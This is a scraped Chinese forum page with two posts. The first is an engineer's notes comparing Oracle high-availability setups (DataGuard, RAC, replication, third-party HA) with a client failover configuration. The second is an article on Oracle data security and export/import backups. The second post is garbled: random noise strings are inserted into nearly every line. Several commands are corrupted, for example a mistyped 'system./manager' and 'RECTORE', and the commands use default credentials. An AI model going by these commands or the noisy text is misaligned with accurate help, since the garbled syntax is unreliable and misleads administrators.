當(dāng)初說(shuō)是要做XX集團(tuán)的雙機(jī)熱備,因?yàn)槲覒?yīng)用oracle的時(shí)間非常短,對(duì)oracle并不熟悉,所以我這段時(shí)間就搜集了
一些相關(guān)的信息和資料,以供大家參考。
XX集團(tuán)的應(yīng)用我分析了一下,應(yīng)該是不要求24*7連續(xù)工作的,只要能夠及時(shí)恢復(fù)訪問(wèn)即可,而且數(shù)據(jù)量不是太大
。
而且我原來(lái)讓XX方面做了NAT, 我們?cè)谶@里就可以進(jìn)行遠(yuǎn)端的控制,控制到XX集團(tuán)內(nèi)部的Intranet的個(gè)別服務(wù)器。
我在網(wǎng)上所能搜到的信息是高可用性解決方案分為4種,
一種是oracle提供的被用方法,Standby (=9i DataGuard)
一種是AR (高級(jí)復(fù)制Advanced Replication,在以前版本叫快照snapshot)
一種是oracle 并行服務(wù)器8i的OPS (9i RAC,Real Application Cluster)
一種是第三方HA解決方案 (如Rose HA,故障切換時(shí)間是幾分鐘)
oracle公司的牛人著的里也是
把這4種方法做為高可用方案的組成。
這幾種方案從原理上來(lái)講都很容易理解,但是實(shí)際上有相當(dāng)多的細(xì)節(jié)和問(wèn)題。
另外還有一種是大家都不太熟悉的是oracle 的 failsafe。
failsafe 采用的是SHARE NOTHING結(jié)構(gòu),即采用若干臺(tái)服務(wù)器組成集群,共同連接到一個(gè)共享磁盤系統(tǒng),
在同一時(shí)刻,只有一臺(tái)服務(wù)器能夠訪問(wèn)共享磁盤,能夠?qū)ν馓峁┓⻊?wù).這與第3方HA方案的概念基本一樣。
但是 failsafe系統(tǒng)局限于WINDOWS(winnt,win2k...)平臺(tái),必須配合MSCS(microsoft cluster server).
我在網(wǎng)上找到現(xiàn)成的雙機(jī)熱備的文檔 就是講在 oracle8i上如何做standby. 其保證了始終有一臺(tái)備用的
數(shù)據(jù)庫(kù)能夠在很短時(shí)間內(nèi)通過(guò)人工,恢復(fù)正常的訪問(wèn),并保證數(shù)據(jù)一致。這是不要求24*7連續(xù)工作時(shí)所考慮的方
案。
我們所能做試驗(yàn)的就是前三種方案,因?yàn)槿耸钟邢蓿跃妥隽?i的DataGuard 和RAC 兩種方案的試驗(yàn)。
高級(jí)復(fù)制據(jù)說(shuō)lwd在很久以前做過(guò)。我打電話問(wèn)oracle公司,他說(shuō)AR對(duì)數(shù)據(jù)庫(kù)的性能影響太大。
高級(jí)復(fù)制也分為兩種情況
1.主動(dòng)/被動(dòng)策略: node1處于主動(dòng)模式,數(shù)據(jù)庫(kù)可讀寫,node2處于被動(dòng)模式,數(shù)據(jù)庫(kù)只讀。
2.主動(dòng)/主動(dòng)策略: node1和node2 都處于主動(dòng)模式,數(shù)據(jù)庫(kù)都可讀寫。這種對(duì)數(shù)據(jù)庫(kù)的性能影響特別大。
在講述DataGuard和RAC這兩種方案之前,我先補(bǔ)充一點(diǎn)關(guān)于oracle Client 如何能夠不修改本機(jī)配置就能
訪問(wèn)兩臺(tái)oracles數(shù)據(jù)庫(kù)的方法。
也就是修改本機(jī)的tnsname.ora
一個(gè)通常的tnsname.ora 如下:
RACDB =
(DESCRIPTION =
(LOAD_BALANCE = off)
(failover = on)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.61)(PORT = 1521))
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.62)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = racdb)
)
)
在 ADDRESS_LIST 中 寫了兩個(gè)地址,client 通過(guò)oracle net 在訪問(wèn)時(shí),如果訪問(wèn)不通第一個(gè)ip,就會(huì)訪問(wèn)第2個(gè)
ip.
這個(gè)特性是早就有了的。load_balance 特性也是有的。但是在兩臺(tái)數(shù)據(jù)庫(kù)內(nèi)容不一致的情況下是沒(méi)有任何意義的

不過(guò),在oracle9i 的官方pdf中,load_balance 特性是不推薦使用的。
RAC 的試驗(yàn)我昨天已經(jīng)做成了,雖然遇到了一些不大不小的Bug和不穩(wěn)定現(xiàn)象。
環(huán)境是oracle9.2.0.1.0 , 2* RedHatAdvanceServer 2.1 和一個(gè)磁盤陣列, 采用的是裸設(shè)備。
RAC 是share everything 模式,兩個(gè)數(shù)據(jù)庫(kù)實(shí)例同時(shí)共享同一套數(shù)據(jù)文件,控制文件,日志文件。
客戶端可以同時(shí)訪問(wèn)這兩臺(tái)數(shù)據(jù)庫(kù)得到的數(shù)據(jù)都是一致的,它的重點(diǎn)是高性能,可擴(kuò)展性。但是可靠性是不如Data
Guard的。
因?yàn)槭紫仍谖锢砩鲜沁B接在一起的,是沒(méi)法容災(zāi)的。
其次,instance1 死掉的話,可能可能影響instance2。
(Oracle 公司的電話支持說(shuō)的, 以及網(wǎng)上的論壇中有相關(guān)的例子,一個(gè)實(shí)例down機(jī)拖累另一臺(tái)不能正常工作,
我在做RAC試驗(yàn)的時(shí)候,也出現(xiàn)了node1 重起,造成node2也重起的個(gè)別現(xiàn)象)
當(dāng)然了,與單機(jī)的oracle相比,可用性肯定是高的。
另外網(wǎng)上我所能找得到的RAC成功案例(論壇oracle版主之類實(shí)施),無(wú)一例外都是oracle經(jīng)過(guò)認(rèn)證的服務(wù)器硬件和
軟件.
例如HP,DELL PowerEdge服務(wù)器。DELL/EMC fiber-channel storage array 等等。
另外,因?yàn)闆](méi)有多余交換機(jī),4塊網(wǎng)卡中的進(jìn)行內(nèi)部通信用的兩塊網(wǎng)卡我采用的是直接級(jí)聯(lián)
(新聚思公司的oracle支持說(shuō)這樣不穩(wěn)定,但是為什么不穩(wěn)定也沒(méi)有說(shuō)原因)
有關(guān)共享文件系統(tǒng)的一些問(wèn)題:
采用裸設(shè)備無(wú)法進(jìn)行日常管理,也沒(méi)有辦法進(jìn)行文件系統(tǒng)級(jí)的備份。
開(kāi)始我第一次在Mandrake8.1的時(shí)候,對(duì)陣列進(jìn)行分區(qū),而fdisk在linux下只能分16個(gè)分區(qū),我只好采用
lvm(logical volume manager,支持256個(gè))對(duì)裸設(shè)備進(jìn)行管理。后來(lái)在dbca創(chuàng)建數(shù)據(jù)庫(kù)的最后階段無(wú)法創(chuàng)建,只
好作罷。
第二次用RedHat AS2.1,oracle網(wǎng)站新推出了針對(duì)ocfs,我將其2003-1-3 更新的有關(guān)ocfs的所有rpm包(只適用
于AS2.1)安裝上,但是卻發(fā)現(xiàn)無(wú)法正常加載ocfs module, 我查了好久,估計(jì)這與我們所用的世紀(jì)曙光硬件有關(guān)

采用的AMD雙Athlon MP 1800+ 以及相關(guān)主機(jī)硬件,RedHat AS 2.1 無(wú)法正常認(rèn)出,從而造成ocfs modules也無(wú)法
正常加載,因?yàn)閛cfs modules與kernel是相關(guān)的;蛟S換成intel 的雙cpu, 或換成單cpu ,然后重裝系統(tǒng)就可以
解決。
因?yàn)閞hAS2.1的內(nèi)核不支持 lvm, 需要重新編譯內(nèi)核才能支持,我只好 將磁盤陣列分成2個(gè)drive,分別進(jìn)行了
分區(qū),跳過(guò)了fdisk分區(qū)數(shù)量限制,給oracle提供了足夠多的裸分區(qū)。
當(dāng)初做方案時(shí)買的vertris 的冷備份軟件(大概10萬(wàn)元)是只能在oracle停機(jī)時(shí)通過(guò)smb來(lái)copy 文件進(jìn)行備份到磁
帶里的。
而裸設(shè)備是沒(méi)有辦法copy 的。
客戶端在tnsname.ora配好address_list后,
當(dāng)nodeA 停機(jī)時(shí),是可以不用修改配置訪問(wèn)到nodeB 的。
但是這也分很多種情況
nodeA down,
listenerA down,
InstanceA down,
InstanceA in indeterminate state,
session die等等。
并非每種情況都能實(shí)現(xiàn)自動(dòng)轉(zhuǎn)到node2上。
第三方HA軟件是靠自己的agent軟件檢測(cè)模塊按照自己的故障判斷標(biāo)準(zhǔn)進(jìn)行強(qiáng)制轉(zhuǎn)換的。第一臺(tái)肯定不會(huì)被訪問(wèn)到
,
在幾分鐘之后所有的訪問(wèn)都會(huì)訪問(wèn)到第二臺(tái)剛剛起來(lái)的數(shù)據(jù)庫(kù)上。
oracle 要想實(shí)現(xiàn)與第三方HA軟件一樣的功能,只能與microsoft cluster server一起 在windows平臺(tái)
上實(shí)現(xiàn)failover.
除此之外,oracle本身的幾種High Available 方案是不提供與此類似的自動(dòng)failover功能的。
RAC提供并行;
standby/dataguard提供熱備份服務(wù)器(需要人工維護(hù)切換);
AR 可以基本實(shí)時(shí)提供兩臺(tái)數(shù)據(jù)一致的數(shù)據(jù)庫(kù),但是數(shù)據(jù)庫(kù)性能受影響。而且客戶端能否在各種各樣的情況下都自
動(dòng)
切換到第二臺(tái)數(shù)據(jù)庫(kù)上我也不知道。(例如listener running, instance down時(shí)無(wú)法切換到第二臺(tái))
主數(shù)據(jù)庫(kù)發(fā)生災(zāi)難,無(wú)法訪問(wèn)的情況下應(yīng)該是能夠切換的,但是有些情況下,只需要修改
tnsname.ora或者停掉node1的listener即可。
以前曾經(jīng)有人在職成網(wǎng)做過(guò) RoseHA+oracle817+Turbolinux的集成方案, 據(jù)說(shuō)效果也非常差。我所看到我們這里
的人去職成網(wǎng)
進(jìn)行維護(hù)N多次。(N非常大) 所以在集成方案中如果用到了oracle數(shù)據(jù)庫(kù),就準(zhǔn)備好有人長(zhǎng)期進(jìn)行維護(hù),主數(shù)據(jù)庫(kù)
在萬(wàn)一情況下發(fā)生災(zāi)難,只要有一臺(tái)熱的備用數(shù)據(jù)庫(kù)能夠在比較短(電話通知之后1天之內(nèi))的時(shí)間內(nèi)繼續(xù)投入使用
就達(dá)到了可用性的目的,不至于主數(shù)據(jù)庫(kù)損壞,重新進(jìn)行安裝恢復(fù)占用星期級(jí)的時(shí)間。
要想達(dá)到failover自動(dòng)切換,無(wú)需人的參予是一種理想化狀態(tài),在unix平臺(tái)上無(wú)法實(shí)現(xiàn),windows平臺(tái)上的oracle
failover
我不太清楚,應(yīng)該是能實(shí)現(xiàn)這個(gè)想法的。
standby備用數(shù)據(jù)庫(kù) 是在oracle7.x才開(kāi)始提供的一項(xiàng)功能,到了oracle8i才能提供read only模式,
到了9i 才使日志應(yīng)用等實(shí)現(xiàn)了自動(dòng)化,但是這個(gè)自動(dòng)化不是故障切換自動(dòng)化,而是只為了實(shí)現(xiàn)熱備份數(shù)據(jù)庫(kù)的功
能完善而
增加的一些自動(dòng)化。 歸根到底,oracle公司開(kāi)發(fā)這么久,還沒(méi)有開(kāi)發(fā)完善這些高可用方案,只是一直處于完善階
段。
RAC的并行提供服務(wù)我從一些oracle技術(shù)支持那里聽(tīng)來(lái)的說(shuō)法也是最好一臺(tái)用來(lái)做讀寫,另一臺(tái)專門提供只讀操作
的查詢,
不然仍然影響性能。用來(lái)做我們這種failover應(yīng)用的倒不多。
很容易理解的一些稍微復(fù)雜的原理,要想在實(shí)際中應(yīng)用是需要大量時(shí)間的,里面所涉及到的眾多細(xì)節(jié)如日志增量
等等很麻煩。
就連oracle9.0.0.1在linux下的OUI(oracle univesal installer)
安裝程序在它認(rèn)證的linux上運(yùn)行也是一堆Bug.
也就是它的jre有毛病,所以我當(dāng)初在mandrake8.1上創(chuàng)建數(shù)據(jù)庫(kù)出現(xiàn)了問(wèn)題,無(wú)法進(jìn)行下去。
特定的環(huán)境,特定的問(wèn)題,很多都是沒(méi)有解釋的。這是網(wǎng)上的一個(gè)DBA的原話。
網(wǎng)上也有oracle81700升級(jí)到81740就出故障的案例。

使用DataGuard(standby) 是不能實(shí)現(xiàn)故障的自動(dòng)切換的,因?yàn)閾?jù)oracle公司的人說(shuō)無(wú)從判斷究竟算什么樣的故障
才開(kāi)始進(jìn)行轉(zhuǎn)移,
這個(gè)已經(jīng)超出oracle軟件本身的范圍了;蛟S可以通過(guò)自己編寫程序來(lái)按照自己的標(biāo)準(zhǔn)來(lái)進(jìn)行判斷和轉(zhuǎn)移。
但是DataGuard做到了始終有一臺(tái)數(shù)據(jù)庫(kù)與主數(shù)據(jù)庫(kù)保持一致。在加上客戶端的tnsname.ora的addresslist在一定
程度上
是可以實(shí)現(xiàn)部分的故障切換的。
備數(shù)據(jù)庫(kù)平時(shí)只能處于read only或 recovery manage 模式。
read only 不能應(yīng)用主數(shù)據(jù)庫(kù)傳來(lái)的重作日志,recovery manage 可以進(jìn)行數(shù)據(jù)恢復(fù),但是不能被客戶端訪問(wèn)。
備用數(shù)據(jù)庫(kù)經(jīng)常處于修復(fù)狀態(tài),因此不能被終端用戶使用,這從管理角度是一種浪費(fèi)(所以8i開(kāi)始提供了read
only模式)。
我的想法是
1. 主數(shù)據(jù)庫(kù)發(fā)生災(zāi)難,被迫關(guān)閉,XX方面打電話通知過(guò)來(lái),我們通過(guò)遠(yuǎn)程由人工激活備用的數(shù)據(jù)庫(kù)即可。也就是
敲幾行sql命令即可。
完全可以寫成腳本,隨便找一個(gè)人執(zhí)行一下即可。
2. 備數(shù)據(jù)庫(kù)白天處于read only 模式,可供webserver(也就是客戶端)查詢,晚上12點(diǎn)到1點(diǎn)通過(guò)cron
運(yùn)行在recover managed模式,
將白天主數(shù)據(jù)庫(kù)的更改應(yīng)用到備數(shù)據(jù)庫(kù)上。
3. 通過(guò)cron將備數(shù)據(jù)庫(kù)白天處于 primary 模式,可讀可寫,晚上通過(guò)腳本改回standby模式,并且應(yīng)用主數(shù)據(jù)庫(kù)
的更新。
這樣當(dāng)主數(shù)據(jù)庫(kù)down機(jī),客戶端會(huì)立刻連到第二臺(tái)數(shù)據(jù)庫(kù)上,同時(shí)也能夠進(jìn)行讀寫。數(shù)據(jù)分歧只有一天,并且達(dá)
到了無(wú)人
切換狀態(tài)。
這3種方法,第1種是最好的。
第2種是可行的,是oracle官方認(rèn)可的,有數(shù)據(jù)分歧,和只讀的局限性。
第3種有數(shù)據(jù)分歧并且有或大或小的細(xì)節(jié)問(wèn)題沒(méi)有考慮,只是我的一個(gè)臨時(shí)想法。
在RAC 和 DataGuard 這兩種方案中,
RAC對(duì)硬件和操作系統(tǒng)要求都比較高,維護(hù)也非常復(fù)雜,我們買的vertas 備份軟件也沒(méi)有辦法使用冷備的文件。
對(duì)人員的素質(zhì)要求也很高。
隨便舉個(gè)例子,RedHat AS 2.1 如果認(rèn)不出SCSI driver,就沒(méi)法做了。因?yàn)閛racle9.2i只能用這個(gè)操作系統(tǒng)。
( webmail沒(méi)有用mandrake8.1而是用mandrake8.2就是這個(gè)原因)
不確定因素太多。
在做系統(tǒng)集成方案和買硬件時(shí)都要仔細(xì)考慮,買什么樣的服務(wù)器,陣列,網(wǎng)卡,幾個(gè)交換機(jī),linuxAS21能否裝上
等等。
而不是隨便寫個(gè)雙機(jī)熱備,買兩個(gè)服務(wù)器,一個(gè)交換機(jī)就行了。
不過(guò)這個(gè)方案可以用在我們自己的機(jī)房里,提供高性能的oracle數(shù)據(jù)庫(kù)服務(wù)。(但是需要比較多的時(shí)間來(lái)準(zhǔn)備和調(diào)
試)。
我現(xiàn)在只能做到把oracle92i裝起來(lái),具體平時(shí)的管理還要靠有數(shù)據(jù)庫(kù)使用經(jīng)驗(yàn)的其他同事來(lái)做。
安裝文檔我放在附件里了。
]]>
Oracle安全數(shù)據(jù)系統(tǒng)架構(gòu)全接觸http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2494&Page=1wangxinxin2010-12-11 10:46:03網(wǎng)絡(luò)的發(fā)展,數(shù)據(jù)庫(kù)已經(jīng)不再僅僅是那些程序員所專有的話題。而Oracle數(shù)據(jù)庫(kù)更是憑借其性能卓越,操作方便靈活的特點(diǎn),在數(shù)據(jù)庫(kù)的市場(chǎng)中已經(jīng)占據(jù)了一席之地。但是同樣隨著網(wǎng)絡(luò)技術(shù)的不斷進(jìn)步,數(shù)據(jù)信息的不斷增加,數(shù)據(jù)安全已經(jīng)不再是以前的“老生長(zhǎng)談”,也更不是以前書(shū)本上那些“可望不可及”的條條框框。   或許很久以前,大家都覺(jué)得Oracle數(shù)據(jù)庫(kù)的安全并不存在隱患,因?yàn)镺racle公司在去年11月份開(kāi)始促銷其數(shù)據(jù)庫(kù)軟件時(shí)提出的口號(hào)是“只有Oracle9i能夠做到絕對(duì)安全”。但是不管它這么說(shuō)是為了促銷,還是為了擴(kuò)大知名度,總之伴去年12 月份,英國(guó)的安全專家 David Litchfield 發(fā)現(xiàn)的9iAS 中存在的程序錯(cuò)誤導(dǎo)致的緩沖溢出漏洞以及后來(lái),PenTest Limited 和 eEye Digital Security 各自提出了一個(gè)小的漏洞,所有使用Oracle公司產(chǎn)品的人都不由地緊張了原本松弛的大腦--這個(gè)對(duì)于用戶來(lái)說(shuō),畢竟關(guān)系到了自己的“身家性命”。/ f. S) s+ B. K* m# G2 K
  下面筆者將帶著大家走進(jìn)Oracle數(shù)據(jù)安全的世界。由于筆者水平有限,所以不足之處在所難免,望大家不吝賜教。4 F4 l1 d7 c& u
  (一)Oracle數(shù)據(jù)庫(kù)的一些基本常識(shí)# H( d, J; _& Q* x- }6 }
  這里僅僅是為了以后的安全奠定一些基礎(chǔ),因?yàn)槲覀兒竺嬉玫剿鼈儭?br/>) e4 A2 J5 j( a; y3 o  1.Oracle所包含的組件:
( k' I! ?' c% u2 w1 [  在 Oracle,數(shù)據(jù)庫(kù)是指整個(gè) Oracle RDBMS 環(huán)境,它包括以下組件:
  f6 I5 L; ^8 Y  ·Oracle 數(shù)據(jù)庫(kù)進(jìn)程和緩沖(實(shí)例)。: a& @0 Z1 G: H& }2 z3 k
  ·SYSTEM 表空間包含一個(gè)集中系統(tǒng)類目,它可以由一個(gè)或多個(gè)數(shù)據(jù)文件構(gòu)成。" _7 `% C, c  x8 F) p
  ·其它由數(shù)據(jù)庫(kù)管理員 (DBA)(可選)定義的表空間,每個(gè)都由一個(gè)或多個(gè)數(shù)據(jù)文件構(gòu)成。
( D+ H4 s& ?0 O" l  ·兩個(gè)以上的聯(lián)機(jī)恢復(fù)日志。
  k) y9 {( |7 N7 w  A' p  ·歸檔恢復(fù)日志(可選)。1 h4 Y" ]; n1 c/ x/ N  g
  ·其它文件(控制文件、Init.ora、Config.ora 等)。1 _8 D1 R' j- X$ b! Z
  每個(gè) Oracle 數(shù)據(jù)庫(kù)都在一個(gè)中央系統(tǒng)類目和數(shù)據(jù)字典上運(yùn)行,它位于SYSTEM 表空間。
2 ?7 e) o. J9 ]. |' K  2.關(guān)于“日志”: r: w2 d1 H$ R; F5 q
  Oracle數(shù)據(jù)庫(kù)使用幾種結(jié)構(gòu)來(lái)保護(hù)數(shù)據(jù):數(shù)據(jù)庫(kù)后備、日志、回滾段和控制文件。下面我們將大體上了解一下作為主要結(jié)構(gòu)之一的“日志”:& |. {! }* [! o1 ^/ x( y0 j" _' r
  每一個(gè)Oracle數(shù)據(jù)庫(kù)實(shí)例都提供日志,記錄數(shù)據(jù)庫(kù)中所作的全部修改。每一個(gè)運(yùn)行的Oracle數(shù)據(jù)庫(kù)實(shí)例相應(yīng)地有一個(gè)在線日志,它與Oracle后臺(tái)進(jìn)程LGWR一起工作,立即記錄該實(shí)例所作的全部修改。歸檔(離線)日志是可選擇的,一個(gè)Oracle數(shù)據(jù)庫(kù)實(shí)例一旦在線日志填滿后,可形成在線日志歸檔文件。歸檔的在線日志文件被唯一標(biāo)識(shí)并合并成歸檔日志。
7 F. n; f, n6 Z* C  ·關(guān)于在線日志:一個(gè)Oracle數(shù)據(jù)庫(kù)的每一實(shí)例有一個(gè)相關(guān)聯(lián)的在線日志。一個(gè)在線日志由多個(gè)在線日志文件組成。在線日志文件(online redo log file)填入日志項(xiàng)(redo entry),日志項(xiàng)記錄的數(shù)據(jù)用于重構(gòu)對(duì)數(shù)據(jù)庫(kù)所作的全部修改。1 q& `; X. |, j
  ·關(guān)于歸檔日志:Oracle要將填滿的在線日志文件組歸檔時(shí),則要建立歸檔日志(archived redo log)。其對(duì)數(shù)據(jù)庫(kù)備份和恢復(fù)有下列用處:
, [9 a& p- h* u* ^6 M  <1>數(shù)據(jù)庫(kù)后備以及在線和歸檔日志文件,在操作系統(tǒng)和磁盤故障中可保證全部提交的事物可被恢復(fù)。
) e5 u8 A( C4 C/ i/ g" \: e" c  <2>在數(shù)據(jù)庫(kù)打開(kāi)和正常系統(tǒng)使用下,如果歸檔日志是永久保存,在線后備可以進(jìn)行和使用。
; I$ ^* \0 l% C' @$ ^% x; t  數(shù)據(jù)庫(kù)可運(yùn)行在兩種不同方式下:NOARCHIVELOG方式或ARCHIVELOG 方式。數(shù)據(jù)庫(kù)在NOARCHIVELOG方式下使用時(shí),不能進(jìn)行在線日志的歸檔。如果數(shù)據(jù)庫(kù)在ARCHIVELOG方式下運(yùn)行,可實(shí)施在線日志的歸檔。# s5 z) u; _9 B! j2 M' Q9 A* T% c" \
  3.物理和邏輯存儲(chǔ)結(jié)構(gòu):  a) J5 I  y4 F( F4 O
  Oracle RDBMS是由表空間組成的,而表空間又是由數(shù)據(jù)文件組成的。表空間數(shù)據(jù)文件被格式化為內(nèi)部的塊單位。塊的大小,是由DBA在Oracle第一次創(chuàng)建的時(shí)候設(shè)置的,可以在512到8192個(gè)字節(jié)的范圍內(nèi)變動(dòng)。當(dāng)一個(gè)對(duì)象在Oracle表空間中創(chuàng)建的時(shí)候,用戶用叫做長(zhǎng)度的單位(初始長(zhǎng)度((initial extent)、下一個(gè)長(zhǎng)度(next extent)、最小長(zhǎng)度(min extents)、以及最大長(zhǎng)度(max extents))來(lái)標(biāo)明該對(duì)象的空間大小。一個(gè)Oracle長(zhǎng)度的大小可以變化,但是要包含一個(gè)由至少五個(gè)連續(xù)的塊構(gòu)成的鏈。; Z% |* U; q) T9 c# \
  4.Oracle與Microsoft SQL Server比較下的聯(lián)網(wǎng)協(xié)議:
3 z- x, H2 n1 G7 O! K# d  (二)Oracle數(shù)據(jù)安全的維護(hù)0 k: W: D4 A, I' e) ~. y
  記得某位哲學(xué)家說(shuō)過(guò):“事物的變化離不開(kāi)內(nèi)因和外因!蹦敲磳(duì)于Oracle數(shù)據(jù)安全這個(gè)話題而言,也勢(shì)必分為“內(nèi)”和“外”兩個(gè)部分。那么好,我們就先從“內(nèi)”開(kāi)始說(shuō)起:. x' A9 J  Q& U5 L
  §1.從Oracle系統(tǒng)本身說(shuō)起
3 w5 _) r+ G. x' b# M  t5 Y5 d( Y  我們先拋開(kāi)令人聞風(fēng)色變的“hacker”和其他一些外部的原因,先想一下我們的數(shù)據(jù)庫(kù)。什么硬盤損壞,什么軟件受損,什么操作事物……一系列由于我們的“疏忽”而造成的系統(tǒng)問(wèn)題就完全可以讓我們辛苦建立的數(shù)據(jù)庫(kù)中的數(shù)據(jù)一去不復(fù)返。那么,我們就先從自己身上找找原因吧。0 O5 `" y+ L& s# a
  【一】解決系統(tǒng)本身問(wèn)題的方法--數(shù)據(jù)庫(kù)的備份及恢復(fù)
5 P' n9 A. u- _5 _* t+ ?  ·數(shù)據(jù)庫(kù)的備份:
& U, w! H0 |4 ?& l! ^8 i. l  關(guān)于Oracle數(shù)據(jù)庫(kù)的備份,標(biāo)準(zhǔn)地有三中辦法:導(dǎo)出/導(dǎo)入(Export/Import)、冷備份、熱備份。導(dǎo)出備份是一種邏輯備份,冷備份和熱備份是物理備份。/ m. {* O+ I5 M/ X
  <1>導(dǎo)出/導(dǎo)入(Export/Import)4 X: Z5 m4 S4 T( G
  利用Export可將數(shù)據(jù)從數(shù)據(jù)庫(kù)中提取出來(lái),利用Import則可將提取出來(lái)的數(shù)據(jù)送回Oracle數(shù)據(jù)庫(kù)中去。6 y, B* C% }8 f+ @) p
  a.簡(jiǎn)單導(dǎo)出數(shù)據(jù)(Export)和導(dǎo)入數(shù)據(jù)(Import)1 x& ?9 Z) [$ @+ }% B
  Oracle支持三種類型的輸出:
7 [9 z0 ~, ?: r' W$ w  (1)表方式(T方式),將指定表的數(shù)據(jù)導(dǎo)出。
! |5 z  J( }0 L3 m" B& U  (2)用戶方式(U方式),將指定用戶的所有對(duì)象及數(shù)據(jù)導(dǎo)出。: s+ a" r7 U' J" C5 p
  (3)全庫(kù)方式(Full方式),將數(shù)據(jù)庫(kù)中的所有對(duì)象導(dǎo)出。
" d' j# E. I' j% c  數(shù)據(jù)導(dǎo)出(Import)的過(guò)程是數(shù)據(jù)導(dǎo)入(Export)的逆過(guò)程,它們的數(shù)據(jù)流向不同。
6 V, j7 @% C+ S, }! H  ?, W4 L/ N4 u  b.增量導(dǎo)出/導(dǎo)入2 l" A% u) i$ m- F  T5 ?
  增量導(dǎo)出是一種常用的數(shù)據(jù)備份方法,它只能對(duì)整個(gè)數(shù)據(jù)庫(kù)來(lái)實(shí)施,并且必須作為SYSTEM來(lái)導(dǎo)出。在進(jìn)行此種導(dǎo)出時(shí),系統(tǒng)不要求回答任何問(wèn)題。導(dǎo)出文件名缺省為export.dmp,如果不希望自己的輸出文件定名為export.dmp,必須在命令行中指出要用的文件名。
/ C& h* K- M) R, B  增量導(dǎo)出包括三個(gè)類型:, v- I# V3 }0 E, O
  (1)“完全”增量導(dǎo)出(Complete)6 r. z- x! e. D# X
  即備份整個(gè)數(shù)據(jù)庫(kù),比如:
5 x; E+ j7 K, d  {$ q) j  $exp system/manager inctype=complete file=990702.dmp. `* o) V: ^: N9 i
  (2)“增量型”增量導(dǎo)出4 _% A+ H9 T; I% C9 W7 m4 |
  備份上一次備份后改變的數(shù)據(jù)。比如:! O8 c* y. V6 o( L1 v
  $exp system/manager inctype=incremental file=990702.dmp5 O6 z) y& S% x  r8 @3 N' i
  (3)“累計(jì)型”增量導(dǎo)出(Cumulative)
+ C0 W. A( D. v8 b- l+ n  累計(jì)型導(dǎo)出方式只是導(dǎo)出自上次“完全” 導(dǎo)出之后數(shù)據(jù)庫(kù)中變化了的信息。比如:1 ]1 b* b8 j& G% ^  @3 D/ Z% g
  $exp system/manager inctype=cumulative file=990702.dmp
9 u$ `: X6 A- O  數(shù)據(jù)庫(kù)管理員可以排定一個(gè)備份日程表,用數(shù)據(jù)導(dǎo)出的三個(gè)不同方式合理高效地完成。比如數(shù)據(jù)庫(kù)的備份任務(wù)可作如下安排:- J- K# X' I$ M8 d) r) h/ j
  ·星期一:完全導(dǎo)出(A)
3 c& d. m6 l! }/ _" Y, Y2 M  F  ·星期二:增量導(dǎo)出(B)
7 h6 q3 r7 z+ J: w1 W( r5 l  ·星期三:增量導(dǎo)出(C)
. a1 b2 U8 j" g( `3 |  ·星期四:增量導(dǎo)出(D)
9 v! n1 K& i1 N* N& d) x- L$ I6 U  ·星期五:累計(jì)導(dǎo)出(E)# b! [! A( X0 S
  ·星期六:增量導(dǎo)出(F)
" ~$ T! r6 N# T, Z6 H  ·星期日:增量導(dǎo)出(G), U  s/ m" P1 w+ Y& n
  如果在星期日,數(shù)據(jù)庫(kù)遭到意外破壞,數(shù)據(jù)庫(kù)管理員可按以下步驟來(lái)恢復(fù)數(shù)據(jù)庫(kù):
0 F( N! ?; v0 X  O0 c  第一步:用命令CREATE DATABASE重新生成數(shù)據(jù)庫(kù)結(jié)構(gòu);
2 y1 t3 o2 c( f: S6 t  S$ |  第二步:創(chuàng)建一個(gè)足夠大的附加回段。, |2 T4 z" h: S2 w: p, e
  第三步:完全增量導(dǎo)入A:
' T1 ^4 N/ @7 v" Y: N; O  $imp system./manager inctype= RECTORE FULL=Y FILE=A5 ]2 b5 R0 j* }3 A, E3 l
  第四步:累計(jì)增量導(dǎo)入E:
$ P( L* g% g9 [2 Q$ \7 B! q! k: `  $imp system/manager inctype= RECTORE FULL=Y FILE =E
) D. q" `2 f$ n2 S4 P% S  第五步:最近增量導(dǎo)入F:
/ {0 T0 c! e, r- a' ]$ B* }' ?' y  $imp system/manager inctype=RESTORE FULL=Y FILE=F5 l& u1 V3 `2 ~& J! \
  <2>冷備份' ]. d+ {4 ]) B+ b! G& f* U8 r
  冷備份發(fā)生在數(shù)據(jù)庫(kù)已經(jīng)正常關(guān)閉的情況下,當(dāng)正常關(guān)閉時(shí)會(huì)提供給我們一個(gè)完整的數(shù)據(jù)庫(kù)。冷備份是將關(guān)鍵性文件拷貝到另外位置的一種說(shuō)法。對(duì)于備份Oracle信息而言,冷備份是最快和最安全的方法。冷備份的優(yōu)點(diǎn)是:' h* P- x8 M# s( Z
  ·是非常快速的備份方法(只需拷貝文件): \9 _0 }1 x4 c3 q% j
  ·容易歸檔(簡(jiǎn)單拷貝即可); L! ^* N, K7 f- E3 q
  ·容易恢復(fù)到某個(gè)時(shí)間點(diǎn)上(只需將文件再拷貝回去)5 Y$ F0 D3 a  A/ \! e5 Z
  ·能與歸檔方法相結(jié)合,作數(shù)據(jù)庫(kù)“最新?tīng)顟B(tài)”的恢復(fù)。
& f3 k9 m2 ~' F1 H( C) K  ·低度維護(hù),高度安全。
( W2 M8 a( X. S& O5 Y  但冷備份也有如下不足:
4 H& E$ T0 @+ O: v! }# L  ·單獨(dú)使用時(shí),只能提供到“某一時(shí)間點(diǎn)上”的恢復(fù)。
+ W) q8 E1 ~. C3 ]  ·在實(shí)施備份的全過(guò)程中,數(shù)據(jù)庫(kù)必須要作備份而不能作其它工作。也就是說(shuō),在冷備份過(guò)程中,數(shù)據(jù)庫(kù)必須是關(guān)閉狀態(tài)。* d# l/ N' k) \
  ·若磁盤空間有限,只能拷貝到磁帶等其它外部存儲(chǔ)設(shè)備上,速度會(huì)很慢。) ?; ~  [( k! g0 }0 O( B
  ·不能按表或按用戶恢復(fù)。, z% w1 h) O/ S/ F
  如果可能的話(主要看效率),應(yīng)將信息備份到磁盤上,然后啟動(dòng)數(shù)據(jù)庫(kù)(使用戶可以工作)并將所備份的信息拷貝到磁帶上(拷貝的同時(shí),數(shù)據(jù)庫(kù)也可以工作)。冷備份中必須拷貝的文件包括:! [8 ]% J8 J% F$ s& F* _! t6 ~, U" I
  ·所有數(shù)據(jù)文件! |3 Q! [) z" k' e, B  ^# u
